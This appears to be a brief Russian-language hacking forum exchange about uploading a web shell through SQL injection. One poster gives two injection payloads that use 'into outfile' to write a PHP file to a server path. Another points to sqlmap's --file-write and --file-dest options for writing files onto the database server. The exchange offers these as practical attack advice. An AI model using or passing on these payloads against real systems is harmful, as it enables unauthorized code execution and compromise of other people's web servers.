Ручками залей уже

vuln=1 limit 1 into outfile '/PathToShell/filename.php' lines terminated by ""--+

или

vuln=1 limit 1 into outfile ''/PathToShell/filename.php' fields terminated by '' optionally enclosed by ""--+​

2 Sat-hacker

вобщемта тут и понимать нечего -hh опция все покажет.

--file-write=WFILE Write a local file on the back-end DBMS file system

--file-dest=DFILE Back-end DBMS absolute filepath to write to